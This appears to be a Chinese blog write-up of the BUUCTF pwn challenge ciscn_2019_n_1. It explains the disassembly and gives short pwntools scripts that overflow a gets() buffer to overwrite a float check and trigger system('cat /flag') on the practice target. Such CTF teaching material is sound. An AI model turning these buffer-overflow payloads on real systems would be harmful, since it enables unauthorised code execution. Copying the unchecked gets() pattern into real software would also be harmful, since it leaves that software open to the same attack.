当前位置: 首页 > web >正文

详细讲解BUUCTF-ciscn_2019_n_1

BUUCTF-ciscn_2019_n_1

一、题目来源

BUUCTF-pwn-ciscn_2019_n_1

二、信息搜集

下载题目给的二进制文件,丢到Linux虚拟机中

使用file命令查看文件相关信息:

使用checksec命令查看文件采用了什么保护措施:

三、反编译文件开始分析

通过Ida64位反编译题目给的二进制文件

来到main函数:

.text:00000000004006DC ; int __cdecl main(int argc, const char **argv, const char **envp)
.text:00000000004006DC                 public main
.text:00000000004006DC main            proc near               ; DATA XREF: _start+1D↑o
.text:00000000004006DC ; __unwind {
.text:00000000004006DC                 push    rbp
.text:00000000004006DD                 mov     rbp, rsp
.text:00000000004006E0                 mov     rax, cs:__bss_start
.text:00000000004006E7                 mov     ecx, 0          ; n
.text:00000000004006EC                 mov     edx, 2          ; modes
.text:00000000004006F1                 mov     esi, 0          ; buf
.text:00000000004006F6                 mov     rdi, rax        ; stream
.text:00000000004006F9                 call    _setvbuf
.text:00000000004006FE                 mov     rax, cs:stdin@@GLIBC_2_2_5
.text:0000000000400705                 mov     ecx, 0          ; n
.text:000000000040070A                 mov     edx, 2          ; modes
.text:000000000040070F                 mov     esi, 0          ; buf
.text:0000000000400714                 mov     rdi, rax        ; stream
.text:0000000000400717                 call    _setvbuf
.text:000000000040071C                 mov     eax, 0
.text:0000000000400721                 call    func
.text:0000000000400726                 mov     eax, 0
.text:000000000040072B                 pop     rbp
.text:000000000040072C                 retn
.text:000000000040072C ; } // starts at 4006DC
.text:000000000040072C main            endp

main函数中似乎没有什么亮眼的地方,可以看到main函数还调用了func函数

跟进查看func函数干了什么:

.text:0000000000400676                 public func
.text:0000000000400676 func            proc near               ; CODE XREF: main+45↓p
.text:0000000000400676
.text:0000000000400676 var_30          = byte ptr -30h
.text:0000000000400676 var_4           = dword ptr -4
.text:0000000000400676
.text:0000000000400676 ; __unwind {
.text:0000000000400676                 push    rbp
.text:0000000000400677                 mov     rbp, rsp
.text:000000000040067A                 sub     rsp, 30h
.text:000000000040067E                 pxor    xmm0, xmm0
.text:0000000000400682                 movss   [rbp+var_4], xmm0
.text:0000000000400687                 mov     edi, offset s   ; "Let's guess the number."
.text:000000000040068C                 call    _puts
.text:0000000000400691                 lea     rax, [rbp+var_30]
.text:0000000000400695                 mov     rdi, rax
.text:0000000000400698                 mov     eax, 0
.text:000000000040069D                 call    _gets
.text:00000000004006A2                 movss   xmm0, [rbp+var_4]
.text:00000000004006A7                 ucomiss xmm0, cs:dword_4007F4
.text:00000000004006AE                 jp      short loc_4006CF
.text:00000000004006B0                 movss   xmm0, [rbp+var_4]
.text:00000000004006B5                 ucomiss xmm0, cs:dword_4007F4
.text:00000000004006BC                 jnz     short loc_4006CF
.text:00000000004006BE                 mov     edi, offset command ; "cat /flag"
.text:00000000004006C3                 mov     eax, 0
.text:00000000004006C8                 call    _system
.text:00000000004006CD                 jmp     short loc_4006D9
.text:00000000004006CF ; ---------------------------------------------------------------------------
.text:00000000004006CF
.text:00000000004006CF loc_4006CF:                             ; CODE XREF: func+38↑j
.text:00000000004006CF                                         ; func+46↑j
.text:00000000004006CF                 mov     edi, offset aItsValueShould ; "Its value should be 11.28125"
.text:00000000004006D4                 call    _puts
.text:00000000004006D9
.text:00000000004006D9 loc_4006D9:                             ; CODE XREF: func+57↑j
.text:00000000004006D9                 nop
.text:00000000004006DA                 leave
.text:00000000004006DB                 retn
.text:00000000004006DB ; } // starts at 400676
.text:00000000004006DB func            endp

很明显,两个关键信息

  • gets

  • system

我们的最终目标就是system函数,system中的参数是offset command

查看后发现:

.rodata:00000000004007CC command         db 'cat /flag',0        ; DATA XREF: func+48↑o

是在.rodata段(只读数据段)的数据,值为cat /flag

也就是说,我们只要能执行到system就可以触发系统命令cat /flag

但是在system函数之前有很多的条件跳转指令

分析一下,首先是第一个:

.text:00000000004006A7                 ucomiss xmm0, cs:dword_4007F4
.text:00000000004006AE                 jp      short loc_4006CF

ucomiss a, b 用于浮点数的比较

xmm0来自局部变量[rbp+var_4],依据就是:

.text:00000000004006A2                 movss   xmm0, [rbp+var_4]

jp是一个特殊的条件跳转指令,它的跳转前提是标志寄存器中的PF等于1

在浮点数的比较当中,PF等于1表示本次比较为“无序比较”

在浮点数的比较中,如果参与比较的任意一个值是NaN(Not a Number,数学上无意义或非法的浮点运算结果)时,那么这次比较就没有明确的大小或相等关系,就被称为“无序比较”

本次比较的两个数分别为:

  • xmm0

  • cs:dword_4007F4

cs,即code segment程序段,表示从程序段中取数据

dword_4007F4表示从地址0x4007F4读取一个dword(4字节) 的值

那么可以跟进查看该地址,就可以看到:

.rodata:00000000004007F4 dword_4007F4    dd 41348000h            ; DATA XREF: func+31↑r

所以说,取出的4字节的数据就是0x41348000

有了上面的分析,我们就可以知道,只需要让[rbp+var_4]中的浮点数不是一个非法的浮点数,就可以不跳转

那么如何设置[rbp+var_4]中的值呢,我们前面提到的gets就派上用场了,通过栈溢出的思路去覆盖[rbp+var_4]中的值即可

可行性就在于:

.text:0000000000400691                 lea     rax, [rbp+var_30]
.text:0000000000400695                 mov     rdi, rax
.text:0000000000400698                 mov     eax, 0
.text:000000000040069D                 call    _gets
  • 用户输入部分是在[rbp+var_30]可以覆盖到[rbp+var_4]

  • 之前查看的保护措施,发现没有Canary的存在

继续分析

既然实现了不跳转,那么我们就来到了下一个分支,这也是通往system的关键一步

这里又是一个条件跳转语句:

.text:00000000004006B0                 movss   xmm0, [rbp+var_4]
.text:00000000004006B5                 ucomiss xmm0, cs:dword_4007F4
.text:00000000004006BC                 jnz     short loc_4006CF

比较的内容没有发生变化,只是条件跳转指令变成了jnz,即jump when not zere,这个指令就相当于jne,即jump when not equal,也就是说只要两个数不相等就会发生跳转

但是我们如果要到达system,就要让其不发生跳转,也就是要让前面比较的两个值相等

思路很清晰了:

利用gets函数实现栈溢出,使其能覆盖到[rbp+var_4]中的内容,并把里面的内容覆盖成0x41348000

四、画栈结构图

0x30对应的十进制为48,单位为字节,即48B

五、构造Poc

现在本地进行尝试(记得先给二进制文件可执行权限)

from pwn import *
​
p = process('./ciscn_2019_n_1')
​
payload = b'A'*44 + p64(0x41348000)
p.sendline(payload)
​
p.interactive()

44B的由来:

运行:

其实已经执行了系统命令“cat /flag”只是我本地没有flag文件,所以有了这个错误

直接构造远程Poc(下面的域名和端口填你们开启的靶机):

from pwn import *
​
p = remote("node5.buuoj.cn",29886)
​
payload = b'A'*44 + p64(0x41348000)
p.sendline(payload)
​
p.interactive()

运行:

成功获得flag

http://www.xdnf.cn/news/14452.html

相关文章:

  • 6.11小测(html、css)
  • 【数据结构中哈希函数与哈希表】
  • 中国风系列简约淡雅通用PPT模版分享
  • 【Linux手册】进程的状态:从创建到消亡的“生命百态”
  • K8s集群平台
  • MySQL事务:从原理到实践
  • Elasticsearch9 + 通义大模型实现语义检索操作详解
  • LoRA核心公式
  • 语言模型是怎么工作的?通俗版原理解读!
  • 2.1 Windows VS2019编译FFmpeg 4.4.1
  • Qt QComboBox下拉多选
  • 【项目】仿muduo库one thread one loop式并发服务器前置知识准备
  • OmniMeetProTrack 全维会议链智能追录系统——山东大学软件学院创新实训项目博客(六)
  • 机器学习实验报告4-Logistic 回归算法
  • 如何设计一个既提供绘图Tools又提供example_data的MCP服务器:
  • vulnerable_docker_containement(hard难度)MSF内网穿透、docker逃逸、wpscan爆破。
  • vscode python debugger 如何调试老版本python
  • 论文略读:Personality Alignment of Large Language Models
  • Git里面Stash Changes和UnStash Changes使用
  • LiteRT-LM边缘平台上高效运行语言模型
  • 【Android】 BindService源码流程
  • 如何在Windows上使用qemu安装ubuntu24.04服务器?
  • 408第一季 - 数据结构 - B树与B+树
  • 数据结构---B树
  • 卷积神经网络中的通道注意力机制
  • [游戏实时地图] 地图数据 | 兴趣点数据 | 虚幻引擎SDK接口
  • 软考 系统架构设计师系列知识点之杂项集萃(89)
  • UFS Layout Guide (UFS 2.x)
  • 第11章:Neo4j实际应用案例
  • 把Cmakelist.txt转化为Qt Pro文件的方法